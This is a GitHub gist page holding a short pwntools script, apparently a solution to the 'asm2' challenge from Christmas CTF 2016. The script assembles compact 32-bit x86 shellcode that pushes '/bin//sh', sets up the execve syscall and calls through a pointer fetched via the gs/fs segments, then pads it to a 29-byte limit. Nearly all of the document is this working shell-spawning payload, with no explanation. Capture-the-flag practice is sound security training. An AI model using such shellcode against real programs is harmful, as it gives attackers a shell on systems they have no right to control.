-
-
Save Jinmo/97736639ecf7db9b0cabf9c5de58cf3e to your computer and use it in GitHub Desktop.
Christmas CTF 2016 asm2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
data = asm(''' | |
mov eax, gs | |
mov fs, eax | |
mov al, 0x10 | |
mov edi, fs:[eax] | |
mov al, 11 | |
push 0x68732f2f | |
push 0x6e69622f | |
mov ebx, esp | |
call edi | |
''') | |
if len(data) > 29: | |
print 'wtf' | |
exit() | |
print data.ljust(29) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment